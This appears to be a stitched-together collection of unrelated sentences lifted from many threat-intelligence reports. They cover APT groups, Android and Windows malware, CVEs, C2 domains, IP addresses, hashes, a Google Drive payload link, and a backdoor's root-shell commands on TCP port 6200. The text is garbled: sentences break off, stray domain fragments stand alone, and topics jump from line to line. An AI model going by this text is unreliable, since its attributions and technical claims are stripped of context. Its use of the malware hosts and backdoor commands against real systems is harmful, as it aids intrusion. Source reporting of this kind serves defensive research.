Encrypt the collected data and send it to the attackers over the HTTP protocol .


Based on this information it can be concluded that espionage actors used this individual ’s modified version of njRAT in this cyber attack .


For example , in addition to compromising high value domain controllers and security servers , the threat actor has also been observed identifying and subsequently installing malware on low profile systems that provide non-critical support functions to the business , and are thus less likely to draw the attention of system administrators . There is often a singular focus from the security community on ICS malware largely due to its novel nature and the fact that there are very few examples found in the wild .


This class is based on public code belonging to the package praeda.muzikmekan , which can be found here among other places . registrant information points to activity possibly as early as 2011 . However , the WATERSPOUT campaign shared several traits with the RIPTIDE and HIGHTIDE campaign that we have attributed to APT12 . Emotet has used HTTP over ports such as 20 , 22 , 7080 , and 50000 , in addition to using ports commonly associated with HTTP / S.[13 ] FIN7 has used port - protocol mismatches on ports such as 53 , 80 , 443 , and 8080 during C2.[14 ]


EXECUTIVE SUMMARY Cisco Talos has discovered a new Android malware based on a leak of the DenDroid malware family . Finally , this geo-location supports the likely theory that the attackers behind Kimsuky are based in North Korea . The IXESHE campaign makes use of targeted emails with malicious attachments to compromise victims ’ systems . A more granular future direction for strengthening CSP direction to consider as part of the CSP standard is XHR proxy enforcement .


That communication is an Achilles heel for any botnet – it may raise suspicion and , cutting the bots off is always lethal to the botnet ’ s functioning . This activity ceased in February 2016 , likely because the men who made up Scattered Canary began to focus on honing their BEC skills . Symantec also confirmed seeing the Lazarus wiper tool in Poland at one of their customers .


These services appear to be running on all network interfaces and are therefore accessible to anyone sharing a local network with an infected device . The certificates Blackfly stole were also from South Korean companies , primarily in the video game and software development industry . Describes a resolution by the Asian Parliamentary Assembly ( APA ) held in Anatalya , announcing unlimited support for the Palestinian people 7b4c736b92ce702fb584845380e237aa55ddb4ef693ea65a766c9d9890b3852c . jalsa.rar : The attackers behind Earth Vetala use features of remote access software to steal sensitive information or download malware for additional cyber operations , leveraging spearphishing emails and lure documents containing embedded links to a legitimate filesharing service Onehub to distribute archives containing the ScreenConnect remote administrator tool and RemoteUtilities software .


We believe that this method is engineered to avoid trivial detection of process injection using the well-detected CreateRemoteThread or ZwQueueApcThread API . The Rocket Kitten attacker group 's main attack vector is spear-phishing . The shellcode is obfuscated using OceanLotus ’s standard approach of flattening the control flow and inserting junk opcodes ( as described in the ESET white paper on OceanLotus ) . For example , analysts need to consider during analysis whether the appliance is recording the true client IP addresses ( opposed to network address translation [ NAT ] addresses ) , and what normal user behavior looks like ( do users shift IP addresses frequently ) .


Notably , all of the content text is accessible to the victim even before macros are enabled .


Sofacy ’s August 2015 attack wave .


App Icon Figure 1 : App icon and fake notification . The ShooterAudio module uses PulseAudio to capture audio from the user's microphone . Winnti ver.1 , these values were designated as ‘ tag ’ and ‘ group ’ .


Both publications happened before the second wave took place and received notable publicity .


The Android permissions requested by HenBox , as defined in the apps ’ AndroidManifest.xml files , range from accessing location and network settings to messages , call , and contact data . Beginning in July 2018 , APT41 appeared to have directly targeted several East and Southeast Asia-based video game developers and distributors to inject legitimate executables with the CRACKSHOT backdoor . Compared to other backdoor tools associated with the Sofacy group , the use of Zebrocy in attack campaigns is far more widespread .


What lied beneath this facade was a well-engineered campaign of phishing attacks designed to steal credentials and spy on the activity of dozens of journalists , human rights defenders , trade unions and labour rights activists , many of whom are seemingly involved in the issue of migrants’ rights in Qatar and Nepal . Similar to the Bisonal variant targeting the Russian organization , this sample was also disguised as PDF document .


These differences include a new hashing algorithm to resolve API functions and to find running browser processes for injection , as well as changes to the C2 communication mechanisms .


Immediately when the File Manager window is opened by the attacker , the Quasar serve sends two commands to the RAT : GetDrives and listDirectory ( to populate the list of the victim ’s files in the RAT Server GUI ) .


The PinchDuke toolset consists of multiple loaders and a core information stealer Trojan .


Malicious APK Like its previous versions , XLoader 6.0 abuses social media user profiles to hide its real C & C addresses , but this time its threat actors chose the social media platform Twitter , which was never used in previous attacks . Similar to RIPTIDE campaigns , APT12 infects target systems with HIGHTIDE using a Microsoft Word ( .doc ) document that exploits CVE-2012-0158 . This function takes several parameters, most of which are represented in the subdomain label(s) of the query . In addition , Hack520 ’s tweets always show photos of the same animal , which is likely his pet pig .


Because the domain had been sinkholed , this activity could not be completed .


We can not say for sure if Wolf Research and Coralco Tech are linked , but this panel name , their offerings and the panel layout would suggest it should be considered suspiciously linked . which they launched targeted attacks against Russian banks , businesses and media companies . It makes use of a custom Base64 alphabet . A browser redirects to this page but search engines do n't update their links to the resource ( in ' SEO - speak ' , it is said that the ' link - juice ' is not sent to the new URL ) .


TABLE OF CONTENTS Key Findings Introduction Threat Analysis Fakespy Code Analysis Dynamic Library Loading Stealing Sensitive Information Anti-Emulator Techniques Under Active Development Who is Behind Fakespy 's Smishing Campaigns ? CTU researchers conclude that COBALT GYPSY created the persona to gain unauthorized access to targeted computer networks via social engineering . Without Symantec 's advanced AI-based capabilities , Gallmaker 's activities may well have remained undetected .


Talos reported that these DNS hijacks also paved the way for the attackers to obtain SSL encryption certificates for the targeted domains ( e.g.webmail.finance.gov.lb ) , which allowed them to decrypt the intercepted email and VPN credentials and view them in plain text . TG-3390 is capable of using a C2 infrastructure that spans multiple networks and registrars .


These hooks are created using the root access and a custom native code called Lmt_INJECT , although the algorithm for this is well known . Nitro 's campaign focused on the chemical sector with the goal of obtaining sensitive documents such as proprietary designs , formulas , and manufacturing processes . The use of BLACKCOFFEE demonstrates threat actors ’ evolving use of public websites to hide in plain sight . Once the system is exploited , a very small downloader is dropped onto the victim - s disc that - s only 20 KB in size .


Additionally , since it does not execute any other functionality autonomously , it would no longer be a direct threat .


In the future , it will be invoked by malicious SDK during banner ads display . Corkow provided remote access to the ITS-Broker system terminal by 《 Platforma soft 》 Ltd , which enabled the fraud to be committed . The group has been active since 2015 , but increased its attacks in 2019 . These are also highly targeted emails with ( relatively speaking ) convincing lures , so whoever is behind these is not to be ignored .


To assess attribution , CTU researchers analyze observed activity , third-party reporting , and contextual intelligence .


From an external analysts ’ point of view , the wonder is , which is superior to the other? And my answer for this is : neither is perfect , but both are useful – depending upon your goals and objectives .


Discovered for the first time in Mexico back in 2013 , Ploutus enabled criminals to empty ATMs using either an external keyboard attached to the machine or via SMS message , a technique that had never been seen before . MXI Player appears to be a version of the Bahamut agent , designed to record the phone calls and collect other information about the user ( com.mxi.videoplay ) .


Shellcode is passed to the exploit from HTML in flashvars .


However , many organizations fail to use these basic security measures , leaving their systems open to compromise :


The threat group's systemic long-term targeting of NGO and political networks does not align with patriotic or criminal threat groups .


] net , which was also used as a Poison Ivy C2 in the Arbor Networks blog . This shift , however , has not affected the group's consistent interest in targeting the video game industry for financially motivated reasons . Based on incident response investigations , product detections , and intelligence observations along with additional publications on the same operators , FireEye assesses that APT32 is a cyber espionage group aligned with Vietnamese government interests .


Politically-motivated APT : Cybereason suspects that the objective of the threat actor is to obtain sensitive information from the victims and leverage it for political purposes .


Droppers Per Device Avg . During the months that followed in which we tracked Confucius' activities , we found that they were still aiming for Pakistani targets . However , the MSI packages hosted at each URL are frequently changed or updated . We observed that in at least two cases , the threat actors subsequently issued the following command against the Exchange web server : This command attempts to delete the administrator user from the Exchange Organizations administrators group , beginning with the Domain Controller in the current domain .


Sometimes the attackers send an MS PowerPoint document instead , which exploits CVE-2014-6352 . If the DoublePulsar backdoor does not exist , then the SMB worm attempts to compromise the target using the Eternalblue SMBv1 exploit .


One outlier SPLM target profile within our visibility includes an audit and consulting firm in Bosnia and Herzegovina .


Attackers know that rooting devices via malware exploits is an effective means to control devices and gather information from them . TinyZBot is a bot written in C# and developed by the Cleaver team . used in the microcode . While we can not validate these claims , there are indications that some of these documents are legitimate , which would demonstrate another significant increase in capability for the group .


The remainder of this section describes at a high-level what HenBox is capable of , and how it operates . Since 2013 , APT41 has targeted organizations involved in the research , development , and sale of computer components used for machine-learning , autonomous vehicles , medical imaging , and the consumer market . The targets were similar to a 2015 TG-4127 campaign — individuals in Russia and the former Soviet states , current and former military and government personnel in the U.S. and Europe , individuals working in the defense and government supply chain , and authors and journalists — but also included email accounts linked to the November 2016 United States presidential election .


When executed the second time by clicking on the app on the physical device , FakeSpy redirects to the app settings . This activity cluster , which Kaspersky Lab has followed for a few years , uses various implants for targeting mainly banks , and developers of banking and money processing software solutions . The MyWeb sample that FireEye analyzed has a compile date of 1/20/2011 .


The author of Dumpert describes the tool as an LSASS dumping tool that uses direct system calls and API unhooking to evade antivirus and EDR solutions .


This means that , unless victims lock their devices via the hardware button , the timer provides plenty of time for the malware to remotely perform malicious , in-app operations . The malicious email contains a highly suspicious sample which triggered the ZLAB team to investigate its capabilities and its possible attribution , discovering a potential expansion of the TA505 operation . This campaign is tailored to identifying those who are running Bitcoin related software through specific system scans .


Note : DLL side loading is a prevalent persistence technique that is used to launch a multitude of backdoors .


The Russian government views the U.S. as a strategic rival and is known to task its intelligence agencies with gathering confidential information about individuals and organizations close to the center of power in the U.S. Individuals working for the Hillary for America campaign could have information about proposed policies for a Clinton presidency , including foreign-policy positions , which would be valuable to the Russian government .


com.xapo com.airbitz com.kibou.bitcoin com.qcan.mobile.bitcoin.wallet me.cryptopay.android com.bitcoin.wallet lt.spectrofinance.spectrocoin.android.wallet com.kryptokit.jaxx com.wirex bcn.org.freewallet.app com.hashengineering.bitcoincash.wallet bcc.org.freewallet.app com.coinspace.app btg.org.freewallet.app net.bither In early May 2016 , both PROMETHIUM and NEODYMIUM started conducting attack campaigns against specific individuals in Europe . Threat : Gamaredon Pteranodon weaponized document . The threat actor cleared Windows Event Logs on affected backend Exchange servers so further information was not available regarding the PowerShell commands leveraged by the threat actors .


It is worth noting that this server also seems to be operated by CrookServers , since among other domains , 454-reverse.crookservers.net resolved to the same IP address .


The threat actors may be able to keep this session alive and maintain persistent access .


Since the class does not exist at startup , the application does not run on the debugger . Moafee and DragonOK both use a well-known proxy tool – HUC Packet Transmit Tool ( HTRAN ) – to disguise their geographical locations . Download an archive with the tool ( .exe ) . 8.15 Logging & 8.16 Monitoring activities – determining the system information to log , store and query allows malicious behavior to be uncovered , if threat intelligence is applied to understand how threats may manifest themselves within log data .


In mid-August 2018 , a modified version of Hermes , dubbed Ryuk , started appearing in a public malware repository . These rules detect the malware " beaconing " to the command-and-control server , the initial malware check-in , and an attempt to download a backdoor module .


The malware has been dubbed ‘ SimBad ’ due to the fact that a large portion of the infected applications are simulator games . Targeting data supports the belief that APT39 's key mission is to track or monitor targets of interest , collect personal information , including travel itineraries , and gather customer data from telecommunications firms . In 2015 , Suckfly conducted a multistage attack .


It first attracted our attention in April of this year when we observed an actor customizing the malware for use in highly targeted campaigns .


AutoFocus customers can track these tools with the Sofacy , SofacyMacro and SofacyCarberp .


We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers . The decoy slideshows all contain photos from very meaningful events to individuals in Thailand , suggesting that the actors continually look for impactful events to use to disguise their attacks .


One of the obfuscation tricks included by the malware authors in a VM opcode dispatcher Even armed with the knowledge we have described so far , it still took us many hours to write a full-fledged opcode interpreter that ’ s able to reconstruct the real code executed by FinFisher . The MPK bot is not publicly available and had previously been attributed to an adversary group called " Rocket Kitten " which has often been thought to be a state sponsored adversary operating in the Middle East region . Winnti : Dropper delivered by api.goallbandungtravel.com . Sandworm potentially developed the disruptive capability as early as three weeks prior to the OT event , suggesting the attacker may have been waiting for a specific moment to deploy the capability .


The main payload is usually Imminent Monitor RAT ; however , at the beginning of 2018 , we also observed the use of LuminosityLink RAT , NetWire RAT , and NjRAT . Even an experienced user can be fooled by downloading a malicious file that is apparently from adobe.com , since the URL and the IP address correspond to Adobe 's legitimate infrastructure .


What makes this function more suspicious is the two strings written in Chinese characters : ===状态=== ( ===Status=== ) - Checks whether the device is connected to a network ===类型=== ( ===Type=== ) - Checks whether the device sees available nearby Wifi networks isNetworkAvailable function used for monitoring network connectivity status . The FIN7 intrusion set continued its tailored spear phishing campaigns throughout last year . All of the CnC communications are performed over the HTTP protocol .


After the installation , an application named “ Conference ” appears on the desktop : If the victim launches this app , he will see text which “ enlightens ” the information about the upcoming event : The full text reads follows . NEODYMIUM also used the exact same CVE-2016-4117 exploit code that PROMETHIUM used , prior to public knowledge of the vulnerability 's existence . Operator X also took advantage of cultural idiosyncrasies in its target countries , for example , the regular and widely accepted use of personal Gmail accounts for work .


The newsnstat.com domain was used earlier in 2015 for previous HANGOVER campaigns , and was then repurposed in December 2015 for the MONSOON campaign . In late September 2015 Mofang used the website of Myanmar 's national airline hosted at www.flymna.com for an attack against an organization in Myanmar .


Both WERDLOD and OSX_DOK.C are designed to kill the browser process before installing fake certificates .


] 230 [ . The Dukes are known to employ a vast arsenal of malware toolsets , which we identify as MiniDuke , CosmicDuke , OnionDuke , CozyDuke , CloudDuke , SeaDuke , HammerDuke , PinchDuke , and GeminiDuke . Additional Analysis of the downloaded string is provided in the Gandcrab cradle section below . The “ -do ” flag specifies a SCIL program file to execute ( Figure 8) .


The plugins are stored in its resource section and can be protected by the same VM . menuPass typically makes use of a mix of DDNS and actor-registered domains in their attack campaigns . Resource P1/1 contains config values , including port number and a registry path . This includes hosting C&C domains that were used by Winnti such as mtrue.com , shenqi[.]kr and zhu[.]kr .


Our sample communicates with app.progsupdate.com , which resolved to 185.141.25.68 , over TCP port 4664 .


Certificate information The Android package is named " verReznov.Coampany . The tool investigates the Local Security Authority Subsystem memory space in order to find , decrypt and display retrieved passwords . In 2017 , APT37 expanded its targeting beyond the Korean peninsula to include Japan , Vietnam and the Middle East , and to a wider range of industry verticals , including chemicals , electronics , manufacturing , aerospace , automotive and healthcare entities .


] 172 cdncool [ . In some instances , APT41 leveraged POISONPLUG as a first-stage backdoor to deploy the HIGHNOON backdoor in the targeted environment . The Dukes could have ceased all use of CosmicDuke ( at least until they had developed a new loader ) or retired it entirely , since they still had other toolsets available .


Containment provided by enclaving also makes incident cleanup significantly less costly .


It has the added benefit of installing a nearly unlimited number of fraudulent apps without overloading the infected device . The naming scheme used by Novetta for the malware identified during Operation Blockbuster consists of at least two identifiers which each identifier coming from the International Civil Aviation Organization ( ICAO ) 's phonetic alphabet ,2 commonly referred to as the NATO phonetic alphabet . In addition to its custom malware , Elfin has also used a number of commodity malware tools , available for purchase on the cyber underground . In the sample analyzed , PIEHOP ’s entry point c018c54eff8fd0b9be50b5d419d80f21 ( r3_iec104_control.py ) calls PIEHOP ’s main function , supplying the argument .


This threat group uses a first-stage malware known as Backdoor.APT.Pgift ( aka Troj/ReRol.A ) , which is dropped via malicious documents and connects back to a C2 server . The attachments exploited CVE-2017-8759 which was discovered and documented only five days prior to the campaign .


Also in 2014 , APT32 carried out an intrusion against a Western country’s national legislature . Group-IB specialists determined that the email addresses of IT bank employees were among the recipients of these emails .


Let ’ s compare examples of traffic from Smaps and Asacub — an initializing request to the C & C server with information about the infected device and a response from the server with a command for execution : Smaps request Asacub request Decrypted data from Asacub traffic : { “ id ” : ” 532bf15a-b784-47e5-92fa-72198a2929f5″ , ” type ” : ” get ” , ” info ” : ” imei:365548770159066 , country : PL , cell : Tele2 TG-3390 can quickly leverage compromised network infrastructure during an operation and can conduct simultaneous intrusions into multiple environments . While previous routines took advantage of competing miners ’ activities and unrelated components to hijack the profit , the latest version of the code attempts to remove all related files and codes from previous infections ( including their own to make sure the running components are updated , as well as those from other cybercriminals to maximize the resources of the zombie host ) and creates a new working directory /tmp/.X19-unix to move the kit and extract the files . After Kaspersky ’s reports of these attacks , the rest of 2013 saw reduced intensity of the campaign .


Using other individuals names for C2 communication has also been done by the two other Gaza Cybergang groups :


In some attacks , Whitefly has used a second piece of custom malware , Trojan.Nibatad . A well-funded , highly active group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .


Both toolsets were originally spotted being deployed by CozyDuke to its victims .


Targeting Postal and Transportation Services Companies One of the most significant findings is that new versions of FakeSpy target not only Korean and Japanese speakers , but also almost any postal service company around the world . Western and Saudi organizations in industries that have been historically targeted by APT33 should be monitoring geopolitical developments and increasing the scrutiny of operational security controls focusing on detection and remediation of initial unauthorized access , specifically from phishing campaigns , webshells . Once inside the network , the GCMAN group uses legitimate and penetration testing tools such as Putty , VNC , and Meterpreter for lateral movement .


In the 2015-early 2016 versions examined in this article , C & C instructions in JSON format contained the name of the command in text form ( “ get_sms ” , “ block_phone ” ) . The adversaries have used this technique to allow PlugX and HTTPBrowser to persist on a system . We also found traces of Android Package Kits- ( APK- ) and Android Debug Bridge ( ADB )-based commands that enable cryptocurrency mining activities in Android-based TVs . The US Justice Department thinks he 's been deploying LockBit ransomware on victim networks both in the States and overseas , with the investigation having run from August 2020 through March 2023 .


As explained in their whitepaper , the researchers observed the surprisingly small MiniDuke backdoor being spread via the same exploit that was being used by a malware that they had already named ItaDuke ; the “ Duke ” part of this malware ’s name had in turn come about because it reminded the researchers of the notable Duqu threat .


EventBot requests permissions to always run in the background . A significantly improved variant of the Bemstour exploit tool was rolled out in September 2016 , when it was used in an attack against an educational institution in Hong Kong . We were ultimately able to identify multiple organizations in the government , energy , and technology sectors targeted by Magic Hound .


] us domain : the phone number registered with this domain is the same as the phone number appearing on the Facebook page . From our trend analysis seen in Figure 3 , Locky ransomware started being delivered via DOCM format email attachments more extensively beginning in August . Lazarus used watering hole attacks to compromise legitimate and trusted websites frequently visited by their targets .


This activity resembles previous campaigns such as Gooligan , HummingBad and CopyCat . Although the developers of Bookworm have included only keylogging functionality in Bookworm as a core ability , as suggested in Table 1 , several of the embedded DLLs provide Leader with cryptographic and hashing functions , while others support Leader 's ability to communicate with its C2 server . This includes prominent figures in the United Nations , opposition bloggers and activists , and regional news correspondents , ” a blogpost about Kaspersky ’s findings reads . PingPull can use HTTPS over port 8080 for C2.[28 ]


On December 29 , 2016 , the Department of Homeland Security ( DHS ) and Federal Bureau of Investigation ( FBI ) released a Joint Analysis Report confirming FireEye ’s long held public assessment that the Russian Government sponsors APT28 .


Then the app finds a process id value for the process it wants to inject with code . These have been highly active in the Middle East region and unveiled ongoing targeted attacks in multiple regions . Now , threat actors are using well-known websites—that they do not need to compromise to host C2 IP addresses . When loaded at system boot , the downloader uses a set of mathematical calculations to determine the computer - s unique fingerprint , and in turn uses this data to uniquely encrypt its communications later .


Two binder tools — used to disguise custom executables as legitimate Microsoft implants — were discovered by Falcon Intelligence and linked to MYTHIC LEOPARD in July 2017 . PLEAD also dabbled with a short-lived , fileless version of their malware when it obtained an exploit for a Flash vulnerability ( CVE-2015-5119 ) that was leaked during the Hacking Team breach .


This malware is responsible for decrypting the Adobe.icx file in the same folder .


Lieutenant Captain Nikolay Kozacheck ( who used the hacker monikers " kazak " and " blablabla1234465 " ) was the primary developer and maintainer of X-Agent , according to the indictment , and he was assisted by another officer , Pavel Yershov , in preparing it for deployment .


Beginning in August 2016 , a group calling itself the Shadow Brokers began releasing tools it claimed to have originated from the Equation Group . Once inside a network , APT40 uses credential-harvesting tools to gain usernames and passwords , allowing it to expand its reach across the network and move laterally through an environment as it moves to towards the ultimate goal of stealing data .


We ’ve seen quite a few versions of these implants and they were relatively widespread for a time .


] net : Nam Phrik Num Somtum [ . A timeline of new activity can be scoped out for the group , with the greatest number of related downloaders created by the developers in December 2011 , Feb and March of 2012 , followed by June of 2012 . Instead , the attackers manually cut and pasted older versions after altering some parts . These restrictions are specified by a list of allowed URIs .


The same user posted multiple similar posts most of them containing similar base64 encoded content ( probably used by the malwares in other campaigns to decode and drop malware executable ) , these posts were made between July 21st , 2016 to September 30 , 2016 .


The initial indicator of the attack was a malicious web shell that was detected on an IIS server , coming out of the w3wp.exe process . Barium specializes in targeting high value organizations holding sensitive data , by gathering extensive information about their employees through publicly available information and social media , using that information to fashion phishing attacks intended to trickthose employees into compromising their computers and networks .


Google Play has removed the apps and they stated that " thanks to enhanced detection models , Google Play Protect will now be able to better detect future variants of these applications '' . The June 2017 sample of Clayslide contained the same OfficeServicesStatus.vbs file found in the ISMAgent Clayslide document , but instead of having the payload embedded in the macro as segregated base64 strings that would be concatenated , this variant obtained its payload from multiple cells within the " Incompatible " worksheet . The attacker put a couple of tricks in place to avoid execution on virtual machines ( sandbox ) . Budworm has targeted victims in many countries in Southeast Asia and the Middle East , among other locations , including the U.S. Symantecs Threat Hunter Team published a blog in October 2022 detailing how Budworm activity was seen on the network of a U.S. state legislature .


The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors . During the same time period , we also observed the actor using the Browser Exploitation Framework ( BeEF ) to compromise victim hosts and download Cobalt Strike .


( Researchers have been aware of this suite as early as 2014 . Several xxmm samples analyzed by CTU researchers incorporate Mimikatz , allowing BRONZE BUTLER to issue Mimikatz commands directly from xxmm . Rolles previously explained the unflattening algorithm in a Hex-Rays blog . Then , users were prompted to download a malicious trojan .


Triada : organized crime on Android Second , it substitutes the system functions and conceals its modules from the list of the running processes and installed apps . The other one , ScarCruft 's Operation Erebus employs an older exploit , for CVE-2016-4117 and leverages watering holes . The email address edmundj@chmail.ir and the geolocation of Tehran , Iran , being of note .


Many top providers in Russia offer cheap prices for their shared hosting services , and some even provide free 30-day trial periods . On November 15 , 2016 , an actor related to the OilRig campaign began testing the Clayslide delivery documents . In this case , the SFX archive contains 8 ﬁles : ﬁve of them are legit DLLs used by the “ 6323 ” executable to interoperate with the OLE format deﬁned and used by Microsoft Ofﬁce . The group 's 91 attacks come not long after their extensive GoAnywhere campaign in March , when they hit over 100 organizations using a nasty zero - day .


] it Cosenza server1ct.exodus.connexxa [ . In this blog post we provide additional information linking TEMP.Veles and their activity surrounding the TRITON intrusion to a Russian government-owned research institute . This file is created in the same folder as the binary of the backdoor To learn more about how ThreatConnect can help you prepare for the potential of a ransomware attack , check out the ThreatConnect Platform .


The decoy documents used by the InPage exploits suggest that the targets are likely to be politically or militarily motivated . We assess with high confidence that the attackers discussed here are associated with the Chinese state intelligence apparatus .


] 26/html2/new-inj-135-3-white.html hxxp : //facebook-photos-au [ . It came in the form of a " Tran Duy Linh " CVE-2012-0158 exploit kit document MD5 : de8a242af3794a8be921df0cfa51885f61 and was observed on April 10 , 2014 . Rancor : 0EB1D6541688B5C87F620E76219EC5DB8A6F05732E028A9EC36195D7B4F5E707 . SecretsDump A publicly available tool that can perform various techniques to dump secrets from the remote machine without executing any agent .


Interestingly , one unused feature of the app is its ability to manipulate data in the Android package manager to add and remove permissions and components as well as hide the app icon . At certain times , Mesri has been a member of an Iran-based hacking group called the Turk Black Hat security team " . caused additional problems . While COSMICENERGY ’s capabilities are not significantly different from previous OT malware families ’ , its discovery highlights several notable developments in the OT threat landscape .


We collectively refer to this package and related activity as “ Zebrocy ” and had written a few reports on its usage and development by June 2017 – Sofacy developers modified and redeployed incremented versions of the malware .


HTTP Communication In addition to the MQTT communication , the app also uses plain text HTTP communication in order to download the .dex file and upload collected data . From mid-2016 through early 2017 , APT33 compromised organizations located in Saudi Arabia and U.S. in the aerospace sector . The malware utilizes several persistence mechanisms including scheduled tasks, Userinit and Run registry keys in the HKLM . Composition of the KillNet Collective


Rapid7 again observed APT10 dropping payloads named ccSEUPDT.exe . For example , in September 2016 , Sowbug infiltrated an organization in Asia , deploying the Felismus backdoor on one of its computers , Computer A , using the file name adobecms.exe in CSIDL_WINDOWS\debug .


To help disrupt this tactic , it is important that organizations implement two-factor authentication for all remote access solutions and consider doing the same for internal , high-value assets like their internal system management consoles .


The CosmicDuke toolset is designed around a main information stealer component .


In March 2017 , in response to active targeting of FireEye clients , the team launched a Community Protection Event (CPE) – a coordinated effort between Mandiant incident responders , FireEye as a Service (FaaS) , FireEye iSight Intelligence , and FireEye product engineering – to protect all clients from APT32 activity . Through our continuous monitoring of threats during 2018 , we observed a new wave of attacks by Gaza Cybergang Group1 targeting embassies and political personnel .


EventBot Listening to TYPE_VIEW_TEXT_CHANGED accessibility event Listening to TYPE_VIEW_TEXT_CHANGED accessibility event . We identified two methods to deliver the KerrDown downloader to targets . Further analysis revealed a well-established collection of fake social media profiles that appear intended to build trust and rapport with potential victims .


At that time i got the source code from github , so i tried the code to find that the core of the c2 which is powershell payload is messing ( the leaker didn’t include the payload in order to by all the tools ) . so i didn’t have time to reverse engineer the source code and i left it . last week i got 3 days off from my work ( working in SOC will keep you for ever busy ) so i started analyzing the code which will be discussed below and i was able to understand how it works in order to create the messing powershell payload and make the c2 come to life .


A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests , TONEDEAF supports collecting system information , uploading and downloading of files , and arbitrary shell command execution . One of the first botnets specializing in targeting the trading software called Quik was " Ranbyus " , created in 2012 .


The Command & Control ( CC ) of the analysed sample is myinvestgroup[.]com .


GET_TASKS - Allows the application to get information about current or recently run tasks . The same group is believed to have also been using the Cobalt Strike framework to run sophisticated campaigns , plotting and performing financial heists of financial institutions . Similar to that of their targeted attacks , Gorgon Group leveraged Bitly for distribution and shortening of C2 domains .


The overall purpose of Cannon is to use several email accounts to send system data ( system information and screenshot ) to the threat actors and to ultimately obtain a payload from an email from the actors .


Afterwards , the installer malware creates a downloader and a configuration file from its resource and executes it . A Clever Kitten attack starts with the use of a web vulnerability scanner to conduct reconnaissance .


While some of the legitimate apps HenBox use as decoys can be found on Google Play , HenBox apps themselves have only been found on third-party ( non-Google Play ) app stores . Our telemetry indicates that the actors maintained access in the ICS-Forth network through at least April 24 , five days after the statement was publicly released . The admin@338 , active since 2008 , has been seen targeting organizations in the financial services , telecoms , government , and defense sectors .


Sending the command sh to TCP port 6200 results in a full terminal being dropped : Sending the command cmd followed by a proper terminal command will execute it and print the output ( in the example we use id which displays the identity of the system user running the issued commands ) : Doing the same as above but with command sucmd will run the terminal command as root : Other commands supported by rootdaemon on TCP port 6200 are su ( which in our tests did n't properly work ) , loadsocketpolicy , loadfilepolicy , remount and removeroot There is no evidence that Suckfly gained any benefits from attacking the government organizations , but someone else may have benefited from these attacks . Resume of a woman from Abu-Dis , Palestinian Authority 4a6d1b686873158a1eb088a2756daf2882bef4f5ffc7af370859b6f87c08840f . The targeting of a telecommunications company and government also point to the motivation behind the campaign being intelligence gathering , which is the motivation that generally drives Budworm activity .


They seem to have specialized knowledge about military operations , as they are focused on stealing specific files such as those that describe navigation routes . At first look , it pretends to be a Java related application but after a quick analysis , it was obvious this was something more than just a simple Java file .


By manipulating a SQLite database , Exodus is able to keep itself running even when the screen goes off and the application would otherwise be suspended to reduce battery consumption . Sowbug 's next move was to list any remote shared drives and then attempt to access remote shares owned by the specific government office they were targeting , again attempting to extract all Word documents . JhoneRAT : https://drive.google.com/uc?export=downloadid=1LVdv4bjcQegPdKrc5WLb4W7ad6Zt80zl . The campaigns we discovered also involve malicious files intended for users in Poland .


Google Play Protect is constantly updating detection engines and warning users of malicious apps installed on their device . The malware tools used by BLACKGEAR can be categorized into three categories : binders , downloaders and backdoors . Knowing the obfuscation routines for this data we wrote a script to extract the URLs / IPs and ports stored . • Unauthorized network connections to MSSQL servers ( TCP/1433 ) and irregular or unauthorized authentication .


This happens all the time in regular Android apps , as Activity is one of the fundamental Android UI elements . The next sample was another Spindest variant and had the same timestamp as the aforementioned PcClient sample . The suspected APT16 targeting of the Taiwanese government agency – in addition to the Taiwanese media organizations – further supports this possibility . They have named it Industroyer – the biggest threat to Industrial Control Systems ( ICS ) since Stuxnet .


Never forget to update your system . The second Windows vulnerability (CVE-2017-0143) was patched in March 2017 after it was discovered to have been used by two exploit tools—EternalRomance and EternalSynergy—that were also released as part of the Shadow Brokers leak . In May 2016 , we published a blog detailing a spear phishing campaign targeting banks in the Middle East region that used macro-enabled attachments to distribute POWBAT malware .


In addition , we discovered evidence of a completely different payload in Koadic being delivered as well .


Their operational security is good .


The numbering seems to have started anew after the version 9 . Analysis of TG-3390 's operations , targeting , and tools led CTU researchers to assess with moderate confidence the group is located in the People's Republic of China . While they have been quiet since our June analysis , we observed an increase in the group ’s activities in December , with updates on the kits ’ capabilities reminiscent of their previous attacks . They claim to have compromised the company and are willing to help resolve the issue .


was somewhat pared down compared to the Russian one . Researchers at Symantec suspect that Turla used the hijacked network to attack a Middle Eastern government . Moreover the C2 infrastructure evolved too , more .php files are available through the web hosting: <c2-domain>/login.php <c2-domain>/upload.php <c2-domain>/download.php .


new_url : to change the URL of the C2 server in the app preference . We assess that APT34 works on behalf of the Iranian government based on infrastructure details that contain references to Iran , use of Iranian infrastructure , and targeting that aligns with nation-state interests . Based on the analysed sample , JhoneRAT targets Saudi Arabia , Iraq , Egypt , Libya , Algeria , Morocco , Tunisia , Oman , Yemen , Syria , UAE , Kuwait , Bahrain and Lebanon . We urge asset owners to review and implement the following recommendations to mitigate and detect this activity .


Certificate Used The apps themselves pretended to be carrier assistance apps which instructed the user to “ keep the app installed on your device and stay under Wi-Fi coverage to be contacted by one of our operators ” . Symantec also observed attempts by Leafminer to scan for the Heartbleed vulnerability ( CVE-2014-0160 ) from an attacker-controlled IP address . Observed Seedworm victims were located primarily in Pakistan and Turkey , but also in Russia , Saudi Arabia , Afghanistan , Jordan , and elsewhere .


Starting with 195.154.110.237 , the IP address which is hosting the command and control domain windowsnewupdates.com , we found that the host is on a dedicated server .


EVENTBOT THREAT ACTORS As a part of this investigation , the Cybereason Nocturnus team has attempted to identify the threat actors behind the development of EventBot . This full-blown spying framework consists of two packages named ‘Tokyo’ and ‘Yokohama’ . After learning of an active attack incident from the Rocket Kitten group on a customer network , Check Point researchers decided to actively join the investigation .


Care and concern both for using a mobile device and for securing a mobile device is critical , especially for those organizations that allow bring-your-own-devices . As early as March 4 , 2017 , malicious documents exploiting CVE-2017-0199 were used to deliver the LATENTBOT malware . APT10 primarily used PlugX malware from 2014 to 2016 , progressively improving and deploying newer versions , while simultaneously standardising their command and control function .


